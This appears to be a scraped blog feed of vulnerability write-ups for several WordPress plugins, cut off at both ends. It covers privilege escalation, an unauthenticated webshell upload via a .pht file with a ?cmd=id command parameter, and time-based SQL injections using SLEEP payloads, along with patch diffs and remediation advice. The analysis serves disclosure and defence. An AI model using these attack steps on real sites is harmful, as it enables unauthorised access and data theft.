Content-Length: 2 Response (Evidence of Success): As seen in the screenshot, the server responds with a 302 Found and issues a WordPress Administrator session cookie.\nHTTP/1.1 302 Found Date: Wed, 11 Feb 2026 01:30:08 GMT Server: Apache/2.4.65 (Debian) Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors \u0026#39;self\u0026#39;; Set-Cookie: wordpress_86a9106ae65537651a8e456835b316ab=phat%7C1770946208%7CI8UfeyCY5HKE39kdnxb12tIxrjcOiFyjKQAbJkhnpNN%7C9ddb1cf62adb703f7e0368643e1cfb68088818d53d873dbd10dce39edd845653; path=/wp-content/plugins; HttpOnly Set-Cookie: wordpress_86a9106ae65537651a8e456835b316ab=phat%7C1770946208%7CI8UfeyCY5HKE39kdnxb12tIxrjcOiFyjKQAbJkhnpNN%7C9ddb1cf62adb703f7e0368643e1cfb68088818d53d873dbd10dce39edd845653; path=/wp-admin; HttpOnly Set-Cookie: wordpress_logged_in_86a9106ae65537651a8e456835b316ab=phat%7C1770946208%7CI8UfeyCY5HKE39kdnxb12tIxrjcOiFyjKQAbJkhnpNN%7Cfbd24ca1c3c008b4bb1c8bda780d4a540bce822794d5ae397b773a074215dd4c; path=/; HttpOnly Cache-Control: no-cache, private Location: http://localhost/wp-admin/index.php Content-Type: text/html; charset=utf-8 Content-Length: 386 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;refresh\u0026#34; content=\u0026#34;0;url=\u0026#39;http://localhost/wp-admin/index.php\u0026#39;\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Redirecting to http://localhost/wp-admin/index.php\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Redirecting to \u0026lt;a href=\u0026#34;http://localhost/wp-admin/index.php\u0026#34;\u0026gt;http://localhost/wp-admin/index.php\u0026lt;/a\u0026gt;. \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Using the admin cookie granted by Modular DS, I attempted to access /wp-admin and received a 302/301 response. I will now load the session in the browser to verify if it works.\nSuccessful redirection to the administrative dashboard confirms the privilege escalation vulnerability. This concludes the Proof of Concept.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-11-02-cve-2026-23550/","summary":"\u003ch1 id=\"cve-2026-23550-wordpress-modular-ds-plugin--251-is-vulnerable-to-a-high-priority-privilege-escalation\"\u003eCVE-2026-23550 WordPress Modular DS Plugin \u0026lt;= 2.5.1 is vulnerable to a high priority Privilege Escalation\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HyLArhXPZg.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"wordpress-modular-ds-plugin-privilege-escalation-vulnerability\"\u003eWordPress Modular DS Plugin Privilege Escalation Vulnerability\u003c/h1\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-01-14\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-23550\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVSS:\u003c/strong\u003e 10.0 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e WordPress Modular DS Plugin\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 2.5.1\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e High priority Privilege Escalation\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-266 Incorrect Privilege Assignment\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eIncorrect Privilege Assignment vulnerability in Modular DS allows Privilege Escalation.This issue affects Modular DS: from n/a through 2.5.1.\u003c/p\u003e","title":"CVE-2026-23550 WordPress Modular DS Plugin \u003c= 2.5.1 is vulnerable to a high priority Privilege Escalation"},{"content":"CVE-2026-3459 WordPress Drag and Drop Multiple File Upload – Contact Form 7 Plugin \u0026lt;= 1.3.9.5 is vulnerable to a high priority Arbitrary File Upload Overview Published: 2026-03-05 CVE-ID: CVE-2026-3459 CVSS: 8.1 High Affected Plugin: Drag and Drop Multiple File Upload – Contact Form 7 Plugin Affected Versions: \u0026lt;= 1.3.9.5 Vulnerability Type: Arbitrary File Upload CWE: CWE-434 Unrestricted Upload of File with Dangerous Type\nDescription The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'dnd_upload_cf7_upload' function in versions up to, and including, 1.3.7.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0026rsquo;s server which may make remote code execution possible. This can be exploited if the form includes a multiple file upload field with ‘*’ as the accepted file type.\nPatch And Commit Analysis According to the changelog, this vulnerability was patched in version 1.3.9.6. In earlier releases (≤ 1.3.9.5), attackers could exploit the flaw to upload and execute arbitrary files such as php5, php8, and similar payloads. To analyze the fix, I will compare the patch diff between version 1.3.9.5 (vulnerable) and 1.3.9.6 (patched).\nSince this is a File Upload vulnerability, the analysis will focus specifically on that aspect. I will omit code segments that are not directly relevant to the exploit or the patch.\nRoot Cause\nWhen a CF7 form is configured with filetypes=* (wildcard), the dnd_upload_cf7_upload() function fails to enforce proper restrictions on dangerous file types, allowing unauthenticated attackers to upload PHP webshells and achieve Remote Code Execution.\nWildcard Blacklist — Insufficient Extension Blocking\nImpact: The vulnerable version only blocks phar and svg, leaving .php, .php5, .php7, .php8, .phtml and many other executable extensions completely unblocked. The patch also fixes wp_check_filetype() to use the sanitized $filename instead of the raw $file[\u0026rsquo;name\u0026rsquo;], preventing extension spoofing via crafted filenames.\nGlobal Blacklist — dnd_cf7_not_allowed_ext()\n// Vulnerable return array( \u0026#39;svg\u0026#39;, \u0026#39;phar\u0026#39;, \u0026#39;php\u0026#39;, \u0026#39;php3\u0026#39;, \u0026#39;php4\u0026#39;, \u0026#39;phtml\u0026#39;, \u0026#39;exe\u0026#39;, ... // missing: php5, php7, php8, pht, html, xhtml, shtml, mhtml, dhtml ); // Patched return array( \u0026#39;html\u0026#39;, \u0026#39;svg\u0026#39;, \u0026#39;phar\u0026#39;, \u0026#39;php\u0026#39;, \u0026#39;php3\u0026#39;, \u0026#39;php4\u0026#39;, \u0026#39;pht\u0026#39;, \u0026#39;php5\u0026#39;, \u0026#39;php7\u0026#39;, \u0026#39;php8\u0026#39;, // ← added \u0026#39;xhtml\u0026#39;, \u0026#39;shtml\u0026#39;, \u0026#39;mhtml\u0026#39;, \u0026#39;dhtml\u0026#39;, // ← added \u0026#39;phtml\u0026#39;, \u0026#39;exe\u0026#39;, ... ); Impact: The global blacklist used across all validation paths was missing multiple dangerous PHP variants and HTML-based script extensions that could be used for server-side execution depending on server configuration.\nFilename Sanitization — Missing sanitize_file_name()\n// VULNERABLE $filename = wp_basename( $file[\u0026#39;name\u0026#39;] ); $filename = wpcf7_canonicalize( $filename, \u0026#39;as-is\u0026#39; ); // → goes directly into validation with dirty filename // PATCHED $filename = wp_basename( $file[\u0026#39;name\u0026#39;] ); $filename = wpcf7_canonicalize( $filename, \u0026#39;as-is\u0026#39; ); $filename = sanitize_file_name( $filename ); // ← added Impact: Without sanitize_file_name(), specially crafted filenames could slip through extension validation checks. The patch ensures the filename is fully sanitized before any validation occurs.\nProcessing Order — Extension Extraction vs Unique Filename\n// VULNERABLE — extension extracted BEFORE sanitization $filename = wpcf7_canonicalize( $filename, \u0026#39;as-is\u0026#39; ); $extension = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) ); // dirty filename $filename = wp_unique_filename( $path[\u0026#39;upload_dir\u0026#39;], $filename ); // PATCHED — sanitize first, then unique check, then extract extension $filename = wpcf7_canonicalize( $filename, \u0026#39;as-is\u0026#39; ); $filename = sanitize_file_name( $filename ); $filename = wp_unique_filename( $path[\u0026#39;upload_dir\u0026#39;], $filename ); $extension = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) ); // clean filename Impact: In the vulnerable version, $extension is extracted from an unsanitized filename, meaning extension-based validation could be tricked via crafted input. The patch reorders the pipeline to: sanitize → unique check → extract extension → validate.\nEmoji Bypass — wpcf7_antiscript_file_name() Skipped\nImpact: A filename containing emoji characters causes mb_check_encoding($string, \u0026lsquo;ASCII\u0026rsquo;) to return false, which skips the wpcf7_antiscript_file_name() call entirely. An attacker could craft a filename like shell🔥.php to bypass the antiscript sanitization layer.\nFolder Isolation — Architecture Change\n// VULNERABLE — reads unique ID from cookie server-side function dnd_cf7_get_unique_id() { if ( isset( $_COOKIE[\u0026#39;wpcf7_guest_user_id\u0026#39;] ) ) { return $_COOKIE[\u0026#39;wpcf7_guest_user_id\u0026#39;]; } } // Called in upload flow: $path = dnd_get_upload_dir( true ); // → dnd_cf7_get_unique_id() called internally // PATCHED — UUID generated client-side via JS, sent as POST param // dnd_cf7_get_unique_id() is now dead code, no longer called in upload flow $folder = isset( $_POST[\u0026#39;upload_folder\u0026#39;] ) ? sanitize_text_field( $_POST[\u0026#39;upload_folder\u0026#39;] ) : null; $path = dnd_get_upload_dir( $folder ); // PATCHED — JS generates UUID client-side function dnd_cf7_generateUUIDv4() { const bytes = new Uint8Array(16); crypto.getRandomValues(bytes); bytes[6] = (bytes[6] \u0026amp; 0x0f) | 0x40; bytes[8] = (bytes[8] \u0026amp; 0x3f) | 0x80; const hex = Array.from(bytes, b =\u0026gt; b.toString(16).padStart(2, \u0026#39;0\u0026#39;)).join(\u0026#39;\u0026#39;); return hex.replace(/^(.{8})(.{4})(.{4})(.{4})(.{12})$/, \u0026#39;$1-$2-$3-$4-$5\u0026#39;); } document.cookie = \u0026#39;wpcf7_guest_user_id=\u0026#39; + dnd_cf7_generateUUIDv4() + \u0026#39;; samesite=Lax\u0026#39;; Impact: The vulnerable version relies on server-side cookie reading to isolate upload folders per user. The patched version fully refactors this — the client generates a cryptographically random UUID via crypto.getRandomValues() and passes it as a POST parameter. This makes the upload folder path unpredictable, significantly raising the bar for an attacker trying to locate an uploaded webshell.\nRoot Cause Analysis (From source to sink) Entry Point\nThe entry point of all uploading processes is located at dnd_upload_cf7_upload():\nfunction dnd_upload_cf7_upload() { $cf7_id = sanitize_text_field( (int)$_POST[\u0026#39;form_id\u0026#39;] ); $cf7_upload_name = sanitize_text_field( $_POST[\u0026#39;upload_name\u0026#39;] ); $allowed_types = dnd_cf7_get_option( $cf7_id, \u0026#39;filetypes\u0026#39; ); $size_limit = dnd_cf7_get_option( $cf7_id, \u0026#39;limit\u0026#39; ); $blacklist = dnd_cf7_get_option( $cf7_id, \u0026#39;blacklist-types\u0026#39; ); if( ! check_ajax_referer( \u0026#39;dnd-cf7-security-nonce\u0026#39;, \u0026#39;security\u0026#39;, false ) ) { wp_send_json_error(\u0026#39;The security nonce is invalid or expired.\u0026#39;); } Nonce Verification\nBefore proceeding, the request passes through dnd_wpcf7_nonce_check() to verify the user\u0026rsquo;s nonce:\nfunction dnd_wpcf7_nonce_check() { if ( strpos( $_SERVER[\u0026#39;HTTP_USER_AGENT\u0026#39;], \u0026#39;curl\u0026#39; ) !== false ) { wp_send_json_error(\u0026#39;Request blocked: cURL access is forbidden.\u0026#39;); } if( ! check_ajax_referer( \u0026#39;dnd-cf7-security-nonce\u0026#39;, false, false ) ){ wp_send_json_success( wp_create_nonce( \u0026#34;dnd-cf7-security-nonce\u0026#34; ) ); } } Note that the nonce is publicly accessible from the page source, meaning any unauthenticated attacker can retrieve it without needing to be logged in.\nFile Type Validation — Wildcard Branch\nThe upload flow then enters file type validation. Two separate checks are performed depending on the supported_type value. When a form is configured with filetypes=*, the wildcard branch is triggered:\nif ( $supported_type == \u0026#39;*\u0026#39; ) { $file_type = wp_check_filetype( $file[\u0026#39;name\u0026#39;] ); // raw, unsanitized filename $not_allowed_ext = array( \u0026#39;phar\u0026#39;, \u0026#39;svg\u0026#39; ); // insufficient blacklist $type_ext = ( $file_type[\u0026#39;ext\u0026#39;] !== false ? strtolower( $file_type[\u0026#39;ext\u0026#39;] ) : $extension ); if ( ! empty( $blacklist_types ) \u0026amp;\u0026amp; in_array( $type_ext, $blacklist_types, true ) ) { wp_send_json_error( $error_invalid_type ); } elseif ( in_array( $type_ext, $not_allowed_ext, true ) ) { wp_send_json_error( $error_invalid_type ); } } The mime type validation block is bypassed entirely because it only runs when $supported_type != \u0026lsquo;*\u0026rsquo;:\nif( $supported_type \u0026amp;\u0026amp; $supported_type != \u0026#39;*\u0026#39; ){ $validate_mime = apply_filters(\u0026#39;dnd_cf7_validate_mime\u0026#39;, false ); if( $validate_mime ){ // mime check — never reached in wildcard mode } } Global Blacklist — Insufficient Coverage\nThe wildcard branch relies on dnd_cf7_not_allowed_ext() as a secondary defense. However, the blacklist is missing several dangerous PHP variants:\nfunction dnd_cf7_not_allowed_ext() { return array( \u0026#39;svg\u0026#39;, \u0026#39;phar\u0026#39;, \u0026#39;php\u0026#39;, \u0026#39;php3\u0026#39;,\u0026#39;php4\u0026#39;,\u0026#39;phtml\u0026#39;,\u0026#39;exe\u0026#39;,\u0026#39;script\u0026#39;, \u0026#39;app\u0026#39;, \u0026#39;asp\u0026#39;, \u0026#39;bas\u0026#39;, \u0026#39;bat\u0026#39;, \u0026#39;cer\u0026#39;, \u0026#39;cgi\u0026#39;, \u0026#39;chm\u0026#39;, \u0026#39;cmd\u0026#39;, \u0026#39;com\u0026#39;, \u0026#39;cpl\u0026#39;, \u0026#39;crt\u0026#39;, \u0026#39;csh\u0026#39;, \u0026#39;csr\u0026#39;, \u0026#39;dll\u0026#39;, \u0026#39;drv\u0026#39;, \u0026#39;fxp\u0026#39;, \u0026#39;flv\u0026#39;, \u0026#39;hlp\u0026#39;, \u0026#39;hta\u0026#39;, \u0026#39;htaccess\u0026#39;, \u0026#39;htm\u0026#39;, \u0026#39;htpasswd\u0026#39;, \u0026#39;inf\u0026#39;, \u0026#39;ins\u0026#39;, \u0026#39;isp\u0026#39;, \u0026#39;jar\u0026#39;, \u0026#39;js\u0026#39;, \u0026#39;jse\u0026#39;, \u0026#39;jsp\u0026#39;, \u0026#39;ksh\u0026#39;, \u0026#39;lnk\u0026#39;, \u0026#39;mdb\u0026#39;, \u0026#39;mde\u0026#39;, \u0026#39;mdt\u0026#39;, \u0026#39;mdw\u0026#39;, \u0026#39;msc\u0026#39;, \u0026#39;msi\u0026#39;, \u0026#39;msp\u0026#39;, \u0026#39;mst\u0026#39;, \u0026#39;ops\u0026#39;, \u0026#39;pcd\u0026#39;, \u0026#39;pif\u0026#39;, \u0026#39;pl\u0026#39;, \u0026#39;prg\u0026#39;, \u0026#39;ps1\u0026#39;, \u0026#39;ps2\u0026#39;, \u0026#39;py\u0026#39;, \u0026#39;rb\u0026#39;, \u0026#39;reg\u0026#39;, \u0026#39;scr\u0026#39;, \u0026#39;sct\u0026#39;, \u0026#39;sh\u0026#39;, \u0026#39;shb\u0026#39;, \u0026#39;shs\u0026#39;, \u0026#39;sys\u0026#39;, \u0026#39;swf\u0026#39;, \u0026#39;tmp\u0026#39;, \u0026#39;torrent\u0026#39;, \u0026#39;url\u0026#39;, \u0026#39;vb\u0026#39;, \u0026#39;vbe\u0026#39;, \u0026#39;vbs\u0026#39;, \u0026#39;vbscript\u0026#39;, \u0026#39;wsc\u0026#39;, \u0026#39;wsf\u0026#39;, \u0026#39;wsf\u0026#39;, \u0026#39;wsh\u0026#39; ); } Extensions such as .pht are absent from both the wildcard blacklist [\u0026lsquo;phar\u0026rsquo;, \u0026lsquo;svg\u0026rsquo;] and the global blacklist, allowing them to pass all validation checks undetected.\nFilename Processing — Raw Input\n$file_type = wp_check_filetype( $file[\u0026#39;name\u0026#39;] ); // raw filename, not sanitized Attacking Flow POC Proof Of Concept The upload process calls the /wp-admin/admin-ajax.php endpoint directly via AJAX. Under normal circumstances — when a user submits the CF7 form through the browser — the flow passes through wpcf7_antiscript_file_name(), which renames dangerous file extensions by appending _.txt. However, this protection only runs during CF7\u0026rsquo;s form submission processing, not during the AJAX upload phase. By sending a crafted request directly to admin-ajax.php via curl without triggering a full form submission, the wpcf7_antiscript_file_name() call is never reached, effectively bypassing this layer of defense entirely :\nBy crafting a direct curl POST request to the AJAX endpoint, the file shell.pht was uploaded successfully. Since .pht is absent from both the wildcard blacklist [\u0026lsquo;phar\u0026rsquo;, \u0026lsquo;svg\u0026rsquo;] and the global blacklist in dnd_cf7_not_allowed_ext(), it bypasses all validation checks. The server responds with a success message confirming the file was stored on disk:\nAfter successfully uploading the malicious file, accessing it directly via the browser confirms Remote Code Execution. By appending ?cmd=id to the file URL, the server executes the command and returns the output:\nhttp://localhost/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/shell.pht?cmd=id The response reveals the web server is running as www-data, confirming full unauthenticated RCE on the target system. An attacker can substitute any system command in place of id to enumerate the environment, read sensitive files, establish a reverse shell, or move laterally within the network.\nImpact This vulnerability allows unauthenticated attackers to achieve Remote Code Execution under the following condition:\nThe target CF7 form must have a file upload field configured with filetypes=* Once exploited, an attacker gains code execution with the privileges of the web server process (www-data), enabling full server compromise, data exfiltration, and persistent backdoor installation.\nRemediation Update to version 1.3.9.6 or later immediately Avoid using wildcard (*) file type configuration in CF7 forms Specify only required extensions explicitly (e.g. jpg|png|pdf) Audit upload directories for any suspicious files ","permalink":"https://blog.pzhat.id.vn/posts/2026-04-05-cve-2026-3459/","summary":"\u003ch2 id=\"cve-2026-3459-wordpress-drag-and-drop-multiple-file-upload--contact-form-7-plugin--1395-is-vulnerable-to-a-high-priority-arbitrary-file-upload\"\u003eCVE-2026-3459 WordPress Drag and Drop Multiple File Upload – Contact Form 7 Plugin \u0026lt;= 1.3.9.5 is vulnerable to a high priority Arbitrary File Upload\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BJZCp2osbl.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-03-05\n\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-3459\n\u003cstrong\u003eCVSS:\u003c/strong\u003e 8.1 High\n\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e Drag and Drop Multiple File Upload – Contact Form 7 Plugin\n\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 1.3.9.5\n\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e Arbitrary File Upload\n\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-434 Unrestricted Upload of File with Dangerous Type\u003c/p\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the \u003ccode\u003e'dnd_upload_cf7_upload'\u003c/code\u003e function in versions up to, and including, \u003ccode\u003e1.3.7.3\u003c/code\u003e. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0026rsquo;s server which may make remote code execution possible. This can be exploited if the form includes a multiple file upload field with ‘*’ as the accepted file type.\u003c/p\u003e","title":"CVE-2026-3459 WordPress Drag and Drop Multiple File Upload – Contact Form 7 Plugin \u003c= 1.3.9.5 is vulnerable to a high priority Arbitrary File Upload"},{"content":"CVE-2026-2511 JS Help Desk – AI-Powered Support \u0026amp; Ticketing System \u0026lt;= 3.0.4 - Unauthenticated SQL Injection via \u0026lsquo;multiformid\u0026rsquo; Parameter Overview Published: 2026-03-26 CVE-ID: CVE-2026-2511 CVSS: 7.5 High Affected Plugin: JS Help Desk – AI-Powered Support \u0026amp; Ticketing System Affected Versions: \u0026lt;= 3.0.4 Vulnerability Type: Unauthenticate SQL Injection CWE: CWE-89 Improper Neutralization of Special Elements used in an SQL Command\nDescription The JS Help Desk – AI-Powered Support \u0026amp; Ticketing System plugin for WordPress is vulnerable to SQL Injection via the multiformid parameter in the storeTickets() function in all versions up to, and including, 3.0.4. This is due to the user-supplied multiformid value being passed to esc_sql() without enclosing the result in quotes in the SQL query, rendering the escaping ineffective against payloads that do not contain quote characters. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\nPatch And Commit Analysis Make a look at the plugin\u0026rsquo;s changelog, we can see that there was a security updating at 3.0.5 version, which use to patch SQL Injection vulnerability at 3.0.4 version. To make a detail analysis, I will make a compare between version 3.0.4(vulnerable) and 3.0.5(patch).\n// Before PATCH (vulnerable) $jsst_inquery = \u0026#34; AND multiformid = \u0026#34;.esc_sql($jsst_formid); // After PATCH $jsst_inquery = \u0026#34; AND multiformid = \u0026#34;.intval($jsst_formid); Vulnerable Functions :\nFunction Vulnerable Parameters Fix getFieldOrderingForList() $jsst_formid intval() getFieldsOrderingforForm() $jsst_formid intval() getFieldsForListing() $jsst_formid intval() getPublishedFieldsForTicketDetail() $jsst_formid intval() getFieldTitleByFieldfor() $jsst_formid intval() At getFieldOrderingForList(), the $jsst_formid parameter is retrieved from jssupportticket::$jsst_data['formid'] without proper sanitization.\nBefore the patch, the value was passed directly through esc_sql() and concatenated into the query without surrounding quotes:\n$jsst_inquery = \u0026#34; AND multiformid = \u0026#34; . esc_sql($jsst_formid); Since esc_sql() only escapes special characters inside string literals, it provides no protection for numeric context (no quotes). An attacker could inject arbitrary SQL after the parameter.\nThe patch replaces this with intval(), which casts the value to an integer, making any SQL payload mathematically impossible to inject:\n$jsst_inquery = \u0026#34; AND multiformid = \u0026#34; . intval($jsst_formid); The same vulnerable pattern is present in four additional functions:\ngetFieldsOrderingforForm() — $jsst_formid sourced from parameter, same esc_sql() without quotes fix → intval() getFieldsForListing() — $jsst_formid sourced from parameter argument, same fix applied getPublishedFieldsForTicketDetail() — identical pattern, intval() applied getFieldTitleByFieldfor() — two branches both fixed with intval() In all cases, the root cause and fix are identical to getFieldOrderingForList().\nRoot Cause Analysis (From Sink to Source) The vulnerability stems from flawed SQL input sanitization. WordPress’s esc_sql() function is intended to escape special characters in strings before they’re used in SQL queries. However, it assumes the escaped value will be enclosed in quotes within the query. In this case, the multiformid parameter is inserted without surrounding quotes, which opens the door for attackers to inject SQL syntax. By crafting payloads that exploit numeric or boolean logic instead of string literals, they can bypass the intended protections and execute malicious queries.\nSource (Entry Point)\nThe attack begins at saveticket() in JSSTicketController(modules/ticket/controller.php:183). After the nonce check passes, raw POST data is collected and passed directly into storeTickets() without any type validation on the multiformid parameter.\nPropagation\nInside storeTickets() in JSSTticketModel (modules/ticket/model.php:1193), the tainted multiformid value is passed as an argument to getUserfieldsfor() with no is_numeric() or intval() check applied:\n$jsst_userfield = JSSTincluder::getJSModel(\u0026#39;fieldordering\u0026#39;) -\u0026gt;getUserfieldsfor(1, $jsst_data[\u0026#39;multiformid\u0026#39;]); Sink (Execution Point)\nThe tainted value reaches getUserfieldsfor() in JSSTfieldorderingModel (modules/fieldordering/model.php:995-998). Here it is passed through esc_sql() and concatenated into the query without surrounding quotes:\n$jsst_inquery = \u0026#34; AND multiformid = \u0026#34; . esc_sql($jsst_multiformid); $jsst_query = \u0026#34;SELECT field,userfieldparams,userfieldtype,fieldtitle FROM `js_ticket_fieldsordering` WHERE fieldfor = \u0026#34; . esc_sql($jsst_fieldfor) . $jsst_inquery . \u0026#34; ORDER BY field\u0026#34;; Since esc_sql() provides no protection in a numeric context, the payload survives intact. As seen in the debugger, $jsst_multiformid contains \u0026ldquo;1 AND SLEEP(5)\u0026rdquo;, causing the final query to become:\n...WHERE fieldfor = 1 AND multiformid = 1 AND SLEEP(5) ORDER BY field\nThe malicious query is then executed at line 1000 via get_results($jsst_query), confirming successful SQL injection.\nPOC Poof Of Concept To confirm the SQL Injection vulnerability, a time-based blind injection technique was used by injecting a SLEEP() payload into the multiformid parameter during ticket submission.\nTest Case 1: multiformid = 1 AND SLEEP(1)\nThe server took approximately 24 seconds to respond — significantly longer than the baseline response time of a normal request.\nThe extended delay is due to a multiplier effect: the plugin iterates the multiformid value across multiple internal queries during ticket processing, causing SLEEP(1) to execute multiple times within a single request.\nTest Case 2: multiformid = 1 AND SLEEP(2)\nThe server response time doubled to approximately 48 seconds, directly correlating with the increased sleep duration.\nThe linear correlation between the SLEEP() duration and the total response time confirms that the multiformid parameter is being concatenated directly into SQL queries without proper sanitization. This allows an unauthenticated attacker to execute arbitrary SQL commands against the database.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-04-02-cve-2026-2511/","summary":"\u003ch1 id=\"cve-2026-2511-js-help-desk--ai-powered-support--ticketing-system--304---unauthenticated-sql-injection-via-multiformid-parameter\"\u003eCVE-2026-2511 JS Help Desk – AI-Powered Support \u0026amp; Ticketing System \u0026lt;= 3.0.4 - Unauthenticated SQL Injection via \u0026lsquo;multiformid\u0026rsquo; Parameter\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/Hkvne0ds-g.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-03-26\n\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-2511\n\u003cstrong\u003eCVSS:\u003c/strong\u003e 7.5 High\n\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e JS Help Desk – AI-Powered Support \u0026amp; Ticketing System\n\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 3.0.4\n\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e Unauthenticate SQL Injection\n\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-89 Improper Neutralization of Special Elements used in an SQL Command\u003c/p\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe \u003cstrong\u003eJS Help Desk – AI-Powered Support \u0026amp; Ticketing System\u003c/strong\u003e plugin for WordPress is vulnerable to \u003cstrong\u003eSQL Injection\u003c/strong\u003e via the \u003ccode\u003emultiformid\u003c/code\u003e parameter in the \u003ccode\u003estoreTickets()\u003c/code\u003e function in all versions up to, and including, 3.0.4. This is due to the user-supplied \u003ccode\u003emultiformid\u003c/code\u003e value being passed to \u003ccode\u003eesc_sql()\u003c/code\u003e without enclosing the result in quotes in the SQL query, rendering the escaping ineffective against payloads that do not contain quote characters. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\u003c/p\u003e","title":"CVE-2026-2511 WordPress JS Help Desk Plugin \u003c= 3.0.4 is vulnerable to a high priority SQL Injection"},{"content":"CVE-2026-2232 Product Table and List Builder for WooCommerce Lite Vulnerable To Unauthenticated Time-Based SQL Injection via \u0026lsquo;search\u0026rsquo; Parameter Overview Published: 2026-02-19 CVE-ID: CVE-2026-2232 CVSS: 7.5 High Affected Plugin: Product Table and List Builder for WooCommerce Lite Affected Versions: \u0026lt;= 4.6.2 Vulnerability Type: Unauthenticate Time-Based SQL Injection CWE: CWE-89 Improper Neutralization of Special Elements used in an SQL Command\nDescription The Product Table and List Builder for WooCommerce Lite plugin for WordPress is vulnerable to time-based SQL Injection via the \u0026lsquo;search\u0026rsquo; parameter in all versions up to, and including, 4.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\nPatch And Commit Analysis Based on Application\u0026rsquo;s changelog, I will compare between version 4.6.3 (Secure Version) and 4.6.2 (Vulnerable Version).\nTechnical Deep Dive: The \u0026ldquo;Sink\u0026rdquo; and Logical Failure The core of this vulnerability lies in the wcpt_search__query function within search.php. While the developer attempted to use $wpdb-\u0026gt;esc_like() and esc_sql(), the fundamental mistake was how the final SQL string was assembled.\nBroken Query Concatenation The plugin does not pass a complete, sanitized query. Instead, it passes a \u0026ldquo;fragmented\u0026rdquo; query string (e.g., \u0026hellip; AND post_title ) into the wcpt_search__query function.\n// Build the query $exact_query = $base_query . \u0026#34;WHERE \u0026#34; . $fixed_conditions . \u0026#34;AND ( \u0026#34; . end($conditions_parts) . \u0026#34; = \u0026#39;$esc_keyword\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;% $esc_keyword %\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;$esc_keyword %\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;% $esc_keyword\u0026#39; )\u0026#34;; The Flaw: The function uses end($conditions_parts) to retrieve the column name. Because this is concatenated directly using the . operator, any manipulation of the preceding query logic or the keyword itself can break out of the intended structure.\nThe \u0026ldquo;Sink\u0026rdquo;: The actual execution happens at $wpdb-\u0026gt;get_col($exact_query). Since $exact_query is a raw string built via concatenation, the SQL engine executes whatever is injected before it reaches the closing parenthesis.\nPatch Analysis: Transition to Parameterization The patch introduced in version 4.6.3 completely removes the string concatenation.\nBefore:\nAfter: The developer now uses $wpdb-\u0026gt;prepare(). By utilizing placeholders (like %s for strings), WordPress handles the quoting and escaping at the database driver level, making it impossible for a user-supplied string to be interpreted as a SQL command.\nRoot Cause Analysis: Tracing from source to sink Source (Entry Point) The vulnerability begins in the 